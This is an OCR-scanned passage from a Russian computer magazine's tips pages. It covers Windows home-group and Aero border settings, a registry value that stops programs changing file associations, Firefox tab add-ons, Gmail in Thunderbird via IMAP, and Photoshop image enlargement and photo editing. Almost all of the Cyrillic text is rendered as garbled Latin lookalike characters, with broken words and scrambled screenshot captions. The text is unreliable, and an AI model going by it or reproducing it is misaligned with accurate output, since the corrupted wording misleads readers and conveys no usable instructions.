xpaH/m/HMCii Ha BarneM ITK, bbi aojiw- 
hbi npOBepHTB ocHOBHBie napaMeTpBi 
CHCTeMBI H y6eAHTBCB, HTO C06jH0AeHBI 
Bee Heo6xoAHMBie TpedoBaHHH. 

Bo-nepBBix, Ha BarneM KOMnBiOTepe 
AOJiwHa 6 bitb ycTaHOBjieHa Windows 
Vista HJIH 7. Bo-BTOpBIX, HaCTpOHKH CJie- 
AyeT np0H3B0AHTB H3 aKKayHTa, otho- 
caLiieroca k rpynne an mhhh ctp aTop o b , 
a He H3 rocTeBOH yneTHOH 3anHCH. Ilpo- 
BepHTB 3TO bbi MoweTe B MQmo IlaHejiH 
ynpaBjieHHn «yneTHBie 3anHCH nojiB30- 
BaTejien | H3MeHeHHe THna CBoeit yneT- 
HOH 3anHCH». B TpeTBHX, odpaTHTe BHH- 
MaHHe Ha to, hto b hmchh Barnero ITK 

He AOJDKHO 6BITB KHpHJUIHHeCKHX CHM- 
bojiob. Hmh KOMnBIOTepa MOWHO yBH- 
A6TB, eCJIH KJIHKHyTB npaBOH KHOnKOH 
MBIIHH no HpJIBIKy «MOH KOMnBIOTep» H 
BBldpaTB «CBOHCTBa». Ecjih hmh coaep- 
wht 6yKBBi KHpHjiJiHi/Bi, HywHO Hcnpa- 
bhtb ero, HawaB Ha «H3MeHHTB napaMe- 
tpbi», a 3aTeM Ha KHomcy «H3MeHHTB». 

TenepB 3aHAHTe b IlaHejiB ynpaBjie- 
HHH H OTKpOHTe nyHKT «floMaiHHHe 
rpynnBi». Y6eaHTecB, hto b pa3aejie 
«OTKpBITB odu/HH AOCTyn K Cj/aHJiaM 
h npHHTepaM» BBmejieHBi thiibi MeaHa- 
(jiaiuiOB, KOTOpBie bbi xomre caejiaTB 
aocTynHBiMH no cera. 3aTeM b pa3aejie 
«IlpeaocTaBHTB o6lhhh aocTyn k cJiaH- 
jiaM MyjiBTHMeana an a ycTpoiiCTB» 
aKTHBHpyiiTe onmno «IloTOKOBaH nepe- 
aana H3o6paweHHH, My3BiKH h BHaeo 
Ha Bee ycTponcTBa aoManiHeii ceTH». 
IIoaTBepaHTe bbi6op HawameM Ha 
KHOmcy « CoxpaHHTB H3MeHeHHH». 
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COOT 


Windows Vista/7 

yivieHbLueHMe TO/imimi 
paMKM y okoh b i/imep- 
cfreMce Aero 

CiaHAapTHa^ WMpMHa b ninb n m k- 
ce/iePi A-na paMKM OKHa b Mmep- 
(^ePice Windows Aero AOBO/ibHo 
6 o/ibwafl, hto oco 6 eHHo 3 aMemo 
Ha KOMnaKTHbIX MOHMTOpaX. 



«noxyfleHiie» l/lcno/ib 3 yMTe 3 Ty HacipoMKy 
A/ifl cyweHMa paMKM OKHa m, KaK cneACTBMe, 
yBenMHeHMa CBodoAHoro Mecia Ha PadoneM 
CTO/ie Windows 

BKHMaa CTaHAapTHyio innpHHy paM- 
KH OKHa MOvKHO MHHHMH 3 HpOBaTb 
nyreM HacTpOHKH HHTepcjieHca Win- 
dows. fljw 3 Toro KjiHKHHTe npaBOH 
KHOnKOH MBIHIH no CBOdOAHOMy Mec- 
Ty Ha PadoneM CTOJie h Bbidepnre b 
KOHT eKCTHOM Memo nyHKT «IIepco- 
HaJIH 3 aiIHH». B OTKpBIBIHeMCH OKHe 
mejiKHHTe no HKOHKe «EjBeT OKHa», 
a 3 aTeM 3 aiiAHTe b «flonojiHHTejiBHLie 
napaMeTpti oc[)opMjieHH 5 i». B Vista, 
hto 6 bi aodpaTBcn a o 3 toto ojieMeHTa, 
TaiGKe KjiHKHHTe npaBoii KHonKoir 
MBiniH no PadoneMy CTOJiy h Bbide- 
pHTe B KOHTeKCTHOM MeHIO «HaCTpO- 
htb». B AnajioroBOM OKHe nepeiiAH- 
Te b pa 3 Aeji «Okho | | BHeni- 

HHH BHA», a B HeM — no CCBIJIKe 
«OTKpBITB CBOHCTBa KJiaCCHHeCKOTO 
BHeniHero BHAa Rim Bbidopa Apyrnx 
B 03 M 03 CH 0 CTen». B OKHe «IIapaMeTpBi 
OTo6pa3ceHHn» HaxcMHTe Ha KHonKy 
«flonOJIHHTeJIBHO» . 

CjieayiomHH inar npHMeHHM b ode- 
hx onepau;HOHHLix CHCTeMax. B cnnc- 
Ke 3 jieMeHTOB HaiiAHTe «OdpaMjie- 
Hne». B pacnojioxeHHOM npaBee none 
«Pa 3 Mep» yxa 3 aHa 3 aAaHHan no yMOJi- 


HaHHK) HIHpHHa paMKH — «4». Ecjih 
BMeCTO 3 TOTO nOCTaBHTB «0», AaH- 
hbih napaMeTp CTaHeT MHHHMajib- 
HBIM. IlOATBepAHTe H 3 MeHeHHe, Ha- 
3 CaB Ha «npHMeHHTB» H «OK», H OHO 
HeMeAJieHHO BCTynHT b cnjiy. 

Windows XP/Vista/7 

3 amma (fcaM/iOB ot ripn- 

BH3KI/I K yCTaHaBJIMBaeMbIM 

nporpaMMaM 

CncTeMa ot/imhho HacrpoeHa, OAHaKO 
Bac pa 3 Apa>KaeT A hto npn npo 6 HoPi 
MHCTa/ui^UMM KaKoro-/iM 6 o npn/io>Ke- 
hma OHa 6 e 3 pa 3 peiueHM 5 i nepeHa- 
3 HanaeT c| 3 aM/i bi onpeAe/ieHHbix TMnoB 
Ha OTKpbiTMe c noMOiAbfo Hero. 

rma Bbi MO^ceTe np e aotbp athtb 
nepeHa3HaneHHe, BHecn HeKOTOpbie 
H3MeHeHHn b peecTp. 

EMSil npe^Ae HeM npHCTynHTB k 

AaHHOH npoueAype, ydeAHTecb, hto 
KHT epecyiomne Bac thhbi cjiaHJiOB 
npHBH3aHBi k npaBHjiBHBiM nporpaM- 
MaM. BnOCJieACTBHH HCnpaBHTB 3TO 
6yAeT HeB03M0vKH0 6e3 B03BpaTa pee- 
CTpa b H3HaHajiBHoe cocTOHHne. B Ilpo- 
BOAHHKe nepeHAnTe k nanKaM co cbo- 

HMH padOHHMH (JmHJiaMH H nOOTKpbl- 
BaiiTe hx, hto6bi npOBepHTB, Kaxoe 
no npH 3TOM HCnOJIB3yeTCH. npH He- 
o6xoahmocth noMeHHHTe ero: Bbide- 
pHTe B KOHTeKCTHOM MeHIO nyHKT 
«Otkpbitb c noMombK) | Bbidparb npor- 
paMMy» H B OTKpblBIHeMCH OKHe 
OTMeTbTe rajiOHKOH napaMeTp «Hc- 
nojib30BaTb Bbi6paHHyio nporpaMMy 
AJih Bcex (JiaHJiOB TaKoro Tnna». 

nocjie 3toto MOvKHO npHCTynaTb k 
peniHTejibHbiM a^hctbhhm. OTKpoiiTe 
peAaKTOp peecTpa. fljin 3toto b Win- 


dows XP HaxcMHTe «nycK | BbinojiHHTb», 
HadepHTe b none BBOAa «Regedit» h 
K jiHKHHTe no «OK». B Windows Vista 
h «ceMepKe» nocjieAOBaTejibHOCTb Aen- 
ctbhh TaKan xe, tojibko b KOHii;e 
HyncHO HancaTb Ha «Enter». noATBep- 
AHTe 3 anpoc chctcmbi kohtpojih yneT- 
hbix 3 anHceii, BbidpaB <<ZJa». B peecT- 
pe HaiiAHTe kjhoh HKCU\Software\ 
Microsoft\Windows\CurrentVersion\ 
Policies, nepeiiAHTe k pa 3 Aeny «Ex- 
plorer» h mejiKHHTe Mbinibio no npa- 
boh naHejiH. Tenepb Bbi 6 epHTe b Bepx- 
HeM MeHio «npaBKa | Co 3 AaTb | napa- 
MeTp DWORD», AaiiTe eMy Ha 3 BaHHe 
NoFilesAssociate h HancMHTe «Enter». 
^BaxcAbi mejiKHHTe no otoh 3 anncH h 
H 3 MeHHTe ee 3 HaneHHe Ha « 1 », a 3 aTeM 
KjiHKHHTe no KHonKe «OK». 

TaKHM o 6 pa 30 M bbi co 3 Aajin 6 jiokh- 
poBicy TOJibKO ajm TeKymeii yneTHOH 
3 anncH nojib 30 BaTejiH. Ecjih nee bbi 
XOTHT e 3 aiAHTHTb 3 aperacTpHp 0 BaH- 
Hbie THnbi cjiaHJiOB ot nepeHa 3 Hane- 
hhh rjw Bcex nojib 30 BaTejieH, HyxcHO 
3 aiiTH b Apyryio BeTKy peecTpa — 
HKLM\SOFTWARE\Microsoft\ 
Windows\CurrentVersion\Policies. 
HaiiAHTe pa 3 Aeji «Explorer», a ecjin ero 
TaM HeT — co 3 AaiiTe, BbidpaB b Bepx- 
HeM MeHio «npaBKa | Co 3 AaTb | Pa 3 - 
Aeji» h AaB eMy cooTBeTCTByiomee hmh. 
3 aTeM TaK nee, KaK onncaHO Bbiine, 
co 3 AaiiTe napaMeTp NoFilesAssociate 
h npHCBOHTe eMy 3 HaneHHe « 1 ». Elocjie 
3 toto 3 aKpoiiTe peecTp. Tenepb b Ana- 
jiotobom OKHe, nouBjimomeMcn npn 
mejiHKe no «Otkpbitb c noMonibio | 
BbidpaTb nporpaMMy», He 6 yAeT oto- 
dpancaTbcn onii,HH «Hcnojib 30 BaTb 
BbidpaHHyio nporpaMMy jijm Bcex 4 >aii- 
jiob TaKoro Tnna». 


npdAid Bha Vlifipai-TH&E Crtpaixa 
GrpConv 
HomeGreup 
ime 

[ntemet Settings 
> MCT 


Him 
**] (Tic 

MsDiweTypeAuioRun 


Mcdra Ctnttr 
^ NftCisht 
j , , PolkrtI 

Enplofer 
,, Syitem 


n<jp$HeTp^ DWORD (32 

nacaweTp 
No-Filet Aj»ciite 


RADAR 


luA 

RK.SZ 

REGJDWORD 

RfQ.DWORD 


, Run 
, Run Once 
krunsiiftr; 

. Shell E^tcnjioni 
!> .j. Sideher 
:■ Telephony 

ThemeManagej 



MCwte«»wli 

OK j OTMiMS 


3anpeTHan 30Ha 

3 aAaMTe ajiji 3 Toro 
napaMeipa peecipa 
3 HaneHMe « 1 » — 

M BCe TMnbl C}DaMJ 10 B 
6 yAyT 3 aiAMiAeHbi 
ot nepeHa 3 HaHeHMfl 
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SSH? CEKPETbl M COBETbl 


KOMMyHMKAUMH 


Mozilla Firefox 2x/3x 

CipyKTypupoBaHne 
OTKpbITbIX BK/iaflOK 
Ecjim Bbi jiio6me nyieiuecTBOBaTb 
no CeTM, OTKpbiBa^i MHowecTBO caPi- 

TOB OAHOBpeMeHHO, o6blHHblM BMfl 
BK^aflOK He oneHb yAo6eH. C noMO- 
mbK) AOnO/lHeHM51 MOIKHO cfle/iaTb 
mx 3aro/iOBKM 6o/iee HMTaeMbiMM, 
a TaK>Ke 06-beAMHMTb BK/iaflKM, otho- 
C 5UAMec5i k OAHOMy caMTy, b ApeBO- 
BMAHyfo crpyKTypy. 


KoHKypc «CHoy 6 opA b TBoe'M CTM/ie!» — M.BnAeo - Mozi 


OaPiJi npaBKa Bma XypHan 3aKJiaAKki MHCTpyMeHTbi Cnpai 


"■ G ^ O http : //snowboard . mvideo . ru/ 


4^ Tree Style Tab :: Add-ons fo... 

▼ Q Facebook 

^KoHKypc «CHoy 6 opfl ... Q 

▼ * Twitter / Home 

O HOHAekiriM >xenb 

▼ Lenta.ru: TnaBHoe: 

"| »•% Lenta . ru : KaTacTpocfebi : K... 

Q (Be3 MMeHki) 



iecb moz 6b>mb meou du3au» 


YcoBepujeHCTBOBaHHaji naHejib flono/iHe- 
h 1/1 e Tree Style Tab ynyHiui/iT Hi/uaeiviocTb 
npn 60/ibwoM KOJii/inecTBe OAHOBpeMeHHO 
OTKpbITbIX BKJiaAOK 


mm MH03CeCTB0 OTKpBITBIX BKJia- 
AOK He TOJIBKO OCJIOJKH5HOT OpHeHTH- 
pOBaHHe B HHX, HO H Cn 0 C 06 HBI 3aMeA" 
jihtb 6pay3ep npn ero nepe3arpy3Ke 
(HanpHMep, j\j\% ycTaHOBKH njiarn- 
Ha). flonojiHeHne Tree Style Tab no- 
MOxeT peniHTB AaHHyio npobjieMy. 
Hto 6 bI yCTaHOBHTB 3TOT HHCTpyMeHT, 

nepeHAHTe Ha cairr https://addons. 
mozilla.org h b CTpoxe noncKa BBeAH- 
Te ero Ha3BaHHe. 3aTeM Ha CTpaHH- 
ite AonojiHeHHH HaxMHTe Ha KHonxy 
«Add to Firefox». npOHraopHpyH- 
Te npeAynpexAeHHe o tom, hto ao- 
nojiHeHHe He 6 bijio npOTecTHpOBaHO, 
HavKMHTe Ha «YcTaHOBHTB» h nepe3a- 
nycTHTe Firefox. 

TenepB BKjiaAKH BcerAa HaxoAUTCH 
Ha naHejiH cdoxy, h Aaxe npn otkpbi- 
THH MHOXeCTBa CaHTOB HX Ha3BaHH5T 
mojkho npoHHTaTB. OcodeHHO yAO- 
6eH 3T0T peXCHM Ha HIHpOKO(J)OpMaT- 
hbix MOHHTOpax. A b cjiyuae c 3Kpa- 
HaMH c cooTHomeHHeM ctopoh 4:3 
bbi MOxeTe, noTHHyB 3 a pa3AejiH- 
TejiBHyio jiMHeiiKy cnpaBa ot naHejiH, 
HacTpOHTB ee HiHpHHy. 3aTeM kjihk- 
HHTe npaBOH KHonKoit mbiihh no 
naHejiH h BBidepHTe b KOHTeKCTHOM 


MeHK) nyHKT « 3 a(J)HKCHpOBaTB n 03 H- 
AHK) H HiHpHHy naHejiH BKJiaAOK». 

BapnaHTBi noBeAeHHH BKJiaAOK mox- 
ho peryjiHpOBaTB. /Jjih 3Toro OTKponre 
MeHK) «HHCTpyMeHTBI I flonOJIHeHHH», 
BBidepHTe «Tree Style Tab» h HaacMHTe 
Ha KHonxy «HacTpOHKH». 

B pa3Aejie «BHeniHHH bha» no3BO- 
jiiieTCii 3aAaTB pa3MenjeHHe naHejiH b 
OKH e 6pay3epa, a Taioxe cthjib BKjia- 
AOK H HKOHKH CBOpaUHBaHHH A^peBa. 
B «ABTOCKpBITHH» M 03 CH 0 BKJHOHHTB 
COOTBeTCTByiOIAHH peXHM — TOrAa 
naHejiB BKJiaAOK 6yAeT pa3B0pauH- 
BaTBCH TOJIBKO npn nOABeAOHHH Kyp- 
copa k Kpaio 6pay3epa. 

Mozilla Firefox 3.x 

HacTb URL-aflpeca 
KaK 3/ieivieHT HaBurapnn 

HeKOTopbie caPiTbi MMeiOT oneHb HeyAo6- 
Hyio CTpyKTypy — 3aHacTyio npome 
BpyHHyK) M3MeHMTb HacTb aApeca, 

HTo6bi nonacTb b HywHbiM pa3Ae/i. 



fivPHa.il Iran a ami Mhc Tpyncmtr 


® | k new* 2CKi* \2* yomcfci* 

Locationbar2 npeBpamaeT a/ieivieHTbi URL 
b HaBi/iraiAi/iOHHbie ccbiiiKM 

imism Ha HexoTopBix HHTepHeT-pe- 
cypcax, HanpHMep cjiopyMax, HeyAobHO 
nepeMeuiaTBCH no pa3AejiaM, Tax KaK 
H3 HaBHrapHOHHBix cpeACTB AOCTynHa 
TOJIBKO KHOnKa, n03B0JI5H0ma5I Bep- 
HyTBca Ha rjiaBHyio CTpaHHuy. 

HtoGbi CAejiaTB nepeMemeroie no Ta- 
khm cairraM 6ojiee Gbictpbim h yAo6- 
hbim ycTaHOBHTe AonojiHeHne Location- 
bar2. Jinn ototo Ha cairre https://addons. 
mozilla.org BBeAHTe ero Ha3BaHne b 
CTpoxe noncKa. nocjie HHCTajuuntHH 
BBi6epHTe b MeHio 6pay3epa nyHKT «Hh- 
CTpyMeHTBi | JdonojiHeHHH», a b CTpoxe 
«Locationbar2» — «HacTponTB». HtoGbi 
jiynine pa3JiHnaTB nacra URL, 3aAan- 
Te HBeT ocHOBHoro xocTa h OTMeTBre 
rajiOHKOH napaMeTp « n ojiy>KHp h bi h» . 
Taioxe aKTHBHpyHTe napaMeTp «Ka>x- 
AOH nacTH aApeca» — 3 to CAejiaeT bha 

CCBUIKH nOXOJKHM Ha HaBHTaHHOHHyK) 

nojiocy b npOBOAHHKe Windows 7. 
TenepB npn 3axaT0H KHonxe «Ctrl» 
HJIH «Shift» BBI CMOXeTe BBl6HpaTB xyp- 
copOM OTAejiBHBie nacTH aApeca, Ha>KH- 
Maa Ha 3HanKH CTpejiOK. 


Thunderbird 

noflflep>KKa aKKayHTa Gmail 

COBMeCTHO c flpyrnMM 

CpeAM npOHMX nOHTOBbIX CepBMCOB 
Bbi no/ib3yeiecb m hiamkom GmaiL Ho 
KawAbiM pa3 3axoAMTb b Hero nepe3 
6pay3ep yTOMMTe/ibHo — xoTe^ocb 
6bi ynpaBBUTb Bcem aKKayHTaMM M3 
YA06hOTO K/lMeHTCKOTO npM^0>KeHM51. 


HaCTpOMKM 

06 who flprtbiKH AKKaymbi h HMiiopi (pMribipbi 
3 KcnepHUCHrani.Hi.ie (ftyHKUHM Gmail O^juavor Tcmi.i Whiu 


riepecbunca: | wc ntpiCbUiw | 

CoeeT. Wro6bi nepecwnaTb m« see n» 

JJotTyn no npoTOKony POP: I. Coctomnno: POP a/ih 

naaoo6Heo O BuHOUHTb POP Ann ecex niiceu 

KjBmzEsmmsnm 

O OrnmoHMik POP 

2. Kora-i nucbu.i larpyatamcn c r 

3 . H.KTpOHTO nOSTOtblll 191110 HT (> 

MHCTBYKUHH M HKTMfttt 

1. CocronuMo: IMAP twHoseu 
® ButoOHMTb IMAP 
O Otwwmt* IMAP 

2. HaCTpOMTO nOHTOBMM WIlieHT (r 

Mm&ib yaimt ni n&x&iL'f 

I Coxp 

HacipoMKa Gmail Ann skohommm TpacjjMKa 
Ha Mo6nnbHbix ycipoMCTBax Heo6xoAMMO 
BbibpaTb om\m «BK/iioHMTb POP AJia nwceivi, 
nojiyneHHbix c aioro MOMeHTa» 

IKlima YnpaBJIUTB HeCKOJIBKHMH aKKa- 
yHTaMH cnocoden, HanpHMep, Thunder- 
bird. HT06BI B0Cn0JIB30BaTBC5I 3THM, 
3 aHAHTe Ha www.gmail.com, KjiHKHHTe 
no ccBuixe «HacTpoiiKH» h nepeHAHTe 
b pa3Aeji «nepecBuiKa h POP/IMAP». 

AKTHBHpyHTe npOTOKOJi AOCTyna k 
noMTe — POP hjih IMAP. nocjieAHHH, b 
OT jnwHe ot POP, noAAepxHBaeT AnycTO- 

POHHIOK) CBH 3 B Me>KAy KJIHeHTOM H Cep- 
BepOM h odecnenHBaeT CHHxpoHH 3 aitHio 
Me>KAy pa 3 JIHUHBIMH KJIHeHTCKHMH npH- 
jioxeHHBMH. Ecjih noHTa 6 yAeT ncnojiB- 
30 BaTbca Ha HecKOJiBKHx nK H mo 6 hjib- 
hbix ycTponcTBax, BBidHpairre IMAP. 

TenepB b Thunderbird H3 MeHio «Hh- 
CTpyMeHTBi» OTKpOHTe okho «napa- 
MeTpBi yneTHOH 3anncH» h HaxMHTe 
Ha KHomcy <<ZJeHCTBHH ajm yneTHoir 
3anHCH». BBidepHTe H3 cnncKa Bapn- 
aht «flo6aBHTB yueTHyio 3anncB non- 
tbi». 3anojiHHTe nojin c HMeHeM, aApe- 
com nouTOBoro niAHKa h napojieM. 
nocjie KopOTKoro TecTa coeAHHeHHn 
KjineHT nojiyuHT HacTpoiiKH IMAP, 
h MOJKHO 6yAeT HaxaTB Ha KHomcy 
«Co3AaTB yneTHyio 3anncB». 


Aocryn no npoTOKony IMAP: 

(weryn • Oou* c nmyo 
rvj n&M*»**r M^) 
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(DOTO M BMflEO 


Adobe Photoshop CS5 

YBe^MHUBaeM M3o6pa>KeHi/ie 

Bbi xoTme pacnenaTaTb chmmok b 6o/ib- 
luom c|)opMaTe, ho a /151 aToro Tpe6yeTC5i 
(fan/i c ropa3AO 6o/ibWMM, He>Ke/iM 
y McxoAHoro, pa3peweHneM. 


| Image Size E| 


— Pixel Dimensions: 111,2 k — 

Width: [m | pixels 

Height: 1 222 | pixels 

— Document Size: 

Width: 1 6,03 
Height: 1 7,83 
Resolution: [72 


W Scale Styles 
W Constrain Proportions 
W Resample Image: 



| Bicubic (best for smooth gradients) 


Nearest Neighbor (preserve hard edges) 



Bilinear 

Bicubic (best for smooth gradients) 
Bicubic Smoother (best for enlargement) 
Bicubic Sharper (best for reduction) 


Tun MHTepnoiMUMM onpeAe/i5ieT KanecTBO 

npw i/i 3 MeHeHi/ii/i pa 3 MepoB 1/1306 paweHM a 

EjMa CyLixecTByeT HecmiibKO mctoaob 
yBejiHneHHH kapthhkh. Photoshop CS5 
npe^JiaraeT cjieayiOLiiHe thiibi Macnrra- 
6npOBaHHH: «Nearest Neighbor», «Bih- 
near», «Bicubic», «Bicubic Smoother» h 
«Bicubic Sharper». Hx AehcTBHH 3HauH- 
TejiBHO OTjiHHaiOTca apyr ot Apyra. 

HanpHMep, turn ckphhihotob noAxo- 
jxwy BapnaHT «Nearest Neighbor» — Me- 
toa KomipOBaHHH miKcejieH, 3a\teiiMio- 
mHH xa>KAyK) Tonxy HeTbipbMH ApyrHMH 
Taxoro >xe LiBeTa. H3o6paxeHne craHO- 
bhtch 6ojn>me opHTHHajia h coxpaHaeT 
ACTaJIH, HO npH CHJIbHOM yBeJIHHeHHH 
3aMeTeH JieCTHHHHblH 3(J)(})eKT. 

B cjiynae c KanecTBeHHbiMH 4 >oto- 
rpact)H5iMH jiynrne Bcero Hcnojib30BaTb 
6HKy6HHecKyio HHTepnojiHipno, npH 
KOTOpOH nOJiyHaiOTCH 3HaHHTejTbHO 60- 
jiee pe3KHe H3o6paxceHHH, neM npn 
JIHHeHHOH HJIH GlUIHHeHHOH. yBe- 
JIHHeHMH H306paXCeHH5I JiyHIHHM Bapn- 

aHTOM HBjTHeTCH «Bicubic Smoother», 
AJM yMeHbineHHH — «Bicubic Sharper». 

Hcnojib30BaTb OKJiHHeHHyio HHTep- 
nojiHAHio ceftnac npaKTHnecKH 6ec- 
CMbicjieHHo: aahhbih ajiropHTM aHajiH- 
3HpyeT jihihb HeTbipe coceAHHx nHK- 
cejiH, OKpyxcaiomHx HeH3BecTHbib, a 

6HKy6HHecKHH — HiecTHaAitaTb. KTOMy 
xce npH yBeJIHHeHHH AH(|)pOBbIX H30- 
6paxceHHH HaOjnoAaeTCii cruibHaa nHK- 
CeJIH3au;H5I KapTHHKH. S3!? 


F 




| pixels/inch 




Cancel | 



OoToebeMKa BOflbi: 
0 C 06 eHH 0 CTM 


OoTorpacfjMpoBaTb BOfly BecbMa HenpocTO — flawe npn ncnojib30BaHnn 
LLiTaTMBa i/i fljimejibHOM Bbi,qep>KKn M3o6pa>KeHHR nopoti nojiynaioTCR 
OflHOTOHHbIMM, I/I Ha HI/IX TepaiOTCfl HexoTopbie fleiajii/i. 


npofijieMa 

Ha cHMMKe BOAonaAa Bee OKyiaHo cepoM 
AbiMKoPi — TaKa5i c(}OTorpact}M5i He Bbim5i- 
AMT 5KMB0M I/I pe/lbec()HOM. A eCJIM BOAHblM 
KacKaA CKpbiT b ziecy, KyAa npaKTi/iHecKi/i 
He npoHMKaei co/iHeHHbm CBeT, HeraTMB- 
HblM 3CfDC(De KT yCMJlMBaeTC51. 

CHHMaeM MHane 

HecM0Tp5i Ha Ma/iyio CKopocTb cpa6aibiBa- 
H 1/151 3aTB0pa, C^eAyeT BblCTaB/151Tb mmhi/i- 
Ma/ibHoe 3HaneHMe CBeTOHyBCTBmejibHo- 
ctm: c noBbimeHMeM ISO yBe/iMHMBaera 
m ABeTOBOM LuyM. C/ieAMTe 3a TeM, HTo6bi 
TeHM ripn cbeMKe 6bmn AOcraTOHHo xopo- 
luo npopa6oTaHbi — 3 to cnoco6cTByei no- 
^yneHMfo Heo6xoAMMoro pe3y/ibTaia. 

06pa6oTKa Ha I1K 

ABTOMaTMHecKyK) KoppeKAMfo Jiynwe He 
MCn0Jlb30BaTb. HTo6bl c[30T0 rpacjDMH «0>KM- 
/ia», Hy>KHo pacibMpMTb ee ABeTOBOM Ana- 
na30H. OiKpoMTe McxoAHoe M3o6pa>KeHMe 
((DopMaTa RAW b Adobe CS3 mjim ciapme 
(jim6o Photoshop He HMwe mecTOM Bep- 
cmm). Bbi3BaB rMdorpaMMy b ee npaBOM 
BepxHeM ymy Bbi6epMTe KaHaa «Lumi- 
nosity». 3aieM A K/iMKHyB no MeHio 
«Image», OTKpoMTe noAMeHK) «Adjust- 
ments» m aKTMBMpyMTe onAMio «LeveLs». 
Ha Hi/i>KHeM ocm rMdorpaMMbi pa3MeiAeHbi 


TpM no/i3yHKa, OTMenafoiAHx no/io>KeHMe 
TeMHbIX, CBeT^blX l/l epeAHMX TOHOB. 
n oth h me nepHbiM Tpeyro/ibHMK BnpaBO 
m ydaHOBMTe ero TaK, HTo6bi TeMHa5i 
o6^adb rMdorpaMMbi, He C0Aep>KaiAa5i 
nMKce^eM, /ie>Ka/ia 3a npeAe/iaMM toho- 
Boro MHTepBa/ia. CMecn/ue 6e^bm no^3y- 
hok B/ieBO, TaK>Ke ydaHOBMB ero Ha tom 
ypoBHe, rAe y>Ke ecTb ni/iKce/11/1 M3o6pa>Ke- 
HM51. rioc/ie 3TOrO KapTMHKa CTaHOBMTC51 
i/i 3/1 mu He TeMHOM, yxyAiuaeTC5i f \ eiaj ]\ A 3 a - 
14 i/i 5i. Tenepb Hy>KHO CKoppeKTi/ipoBaTb 
ypoBeHb no/iyTOHOB. CMecn/iTe cpeAHMM 
no/i3yHOK b dopoHy TeHen — M3o6pa>Ke- 
Hi/ie CTaHeT CBeuiee. 

B MeHio «Brightness/Contrast» b c^ynae 
Heo6xOAMMOCTM MO)KHO HeMHOTO CHM3MTb 
5ipKOCTb no/iyTOHOB. HTo6bl nOBblCMTb 
KOHTpacTHocTb m HacbiiAeHHocTb, nopa6o- 
TaMTe c perya5nopoM KOHTpacia. fl/151 
y^yHiueHM5i pe^bec()H0CTM M3o6pa>KeHM5i 
yBe/iMHbTe HacbiiAeHHocTb b MeHio «Hue/ 
Saturation)) (b HaiueM npMMepe — ao 
«+50)>). TaK>Ke ctomt oipery^MpoBaib 
napaMeip «Lightness)). 

B 3aBepiueHMe mo>kho Hacrpoi/iTb pe3- 
KOdb, OTKpbiB «FiLter | Sharpen | Unsharp 
Mask)), min no3Kcnepi/iMeHTi/ipoBaib c on- 
Ai/ieu « Filter | Noise | Dust & Scratches)), 
KOTopari noMO>KeT yAa/11/iTb jii/ihihi/im LuyM. 
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am? ahohc 


Becb HpCHblM 

coc|)t — 6ecnnaTH0 

KownbiOTep 6 e 3 nporpaMM — He 6 o/iee 
neM npeflMei MHTepbepa. OflHaKO Ha ero 
ocHameHMe Heo 6 xoflMMbiM /iMQeH 3 M 0 HHbiM 
coc|3tom MO>KeT noTpe 6 oBaTbCJi cyyma, npe- 
Bbiwaiomafl CTOHMOCTb annapaTHOki Haem. 
CHIP noflo 6 pa/i /lyniuMe 6 ecn/iaTHbie Bep- 
ckiki Bcex Heo 6 xoflMMbix fl/ia eweflHeBHOki 
pa 6 oTbi 3a fl K npn/io>KeHMM. 




CnoManca V1K? 

Hmhmm caMM 

flawe ecni/i He 3aropaeTCfl 3«paH n/in 
OTKa3a/ia Windows, He ctomt naHMKO- 
BaTb. CoBeTbi CHIP noMoryT BbmBkiTb 
npo6/ieMy, npoTecrnpoBaTb KOMn/ieK- 
TyiOlMMe M BOCCTaHOBMTb CMCTeMy. 


ripuTBopaacb 

CMapT(|)OHOM 

Heo6?i3aTe^bHO noKynaTb floporoki anna- 
paT, HTo6bi no/ib30BaTbCfl coukia/ibHbiNin 
cepBkicaMM, My/ibinNieflnkiHbiMM cfiyHKunfl- 
mm h CMHxpoHki3kipoBaTb flaHHbie. Bno/iHe 
mo>kho npodo paciuMpkiTb cnoco6HOdki 
o6bNHoro Te/iecfiOHa. 



03 H? Eme b HOMepe 

-» MHTEPHET M3 KOCMOCA 

Bee, hto Hy>KHO 3HaTb npki Bbi6ope 
o6opyAOBaHHfl m npoBanflepa Rnn 
nOAK/IKDHeHMfl CnyTHMKOBOrO I/I H- 
TepHeia b ropoACKOM KBapnipe 
M/l M 3aropOAHOM AOMe. 

-» yjlYHUJAEM 3BYK 

CHIP paccKa>KeT, KaK c noMOLAbfo 
cneuna^bHbix nporpaMM ycoBepweH- 
CTBOBaTb 3ByHaHMe MMKpOC|)OHHblX 
v\j]]A KOHuepTHbix ayAM03annceM. 

MErATECTbl 

CpaBHme^bHbie TecTbi c|30T0KaMep, 
CTpyMHbix MOY, n/iaHLiieTHbix I1K, 
cfi^eiu-KapT m 6ecnpoBOAHbix Mapw- 
pyTH3aiopoB noMoryT CAe/iaTb npa- 
BM/ibHbiM Bbi6op npki noxynKe. 


HI? 3/2011 


b npoflawe 
c 1 7 cpeBpajin 
2011 rofla 


+DVD9 

TPEMJlEPbl, 



chip DVD b MapTe 

y Bcex HaiuMX HmaTe/ien ecTb npexpac- 
Haa B03M0>KH0CTb 6ecn/iaTHO nO/iyHMTb 
CMCTeMy /yin aHOHMMHoro o6meHHfl b 
ICQ. Taione Mbi npoiecikipyeM nepe- 
BOflHklKkl, HeKOTOpbie M3 KOTOpbIX 
6yflyT npefl^o>KeHbi BaM Ha skckjiio- 
3klBHblX yC/lOBMflX. 


KnaBMaTypHbiM MaHbUKaM 


Find and Run Robot no3BO/ifleT kiCKaTb m 3anycKaTb 
npnno>KeHkifl, kicno/ib 3 ya TonbKO KnaBwaiypy. 


CosaaBawTe mefleBpbi 


Xojict, KkiCTb ki xpacKki coBepiueHHO becn/iamo 
npeflnaraeT nporpaMMa TwistedBrush Open Studio. 


CwmviaeM n yOnpaeivi JinLunee 


BfloxHme BTopyio >KM3Hb b peedp Windows 
c noMOuibio 6ecnnaTH0M yTki/imbi Registry Life. 


3a6oia o saMHOM 


3 HaTb Bee o coctohhmm >xecTKkix flMCKOB ki yxa>KM- 
BaTb 3a HkiMki noMOweT cneQBepcMH HDD Control. 








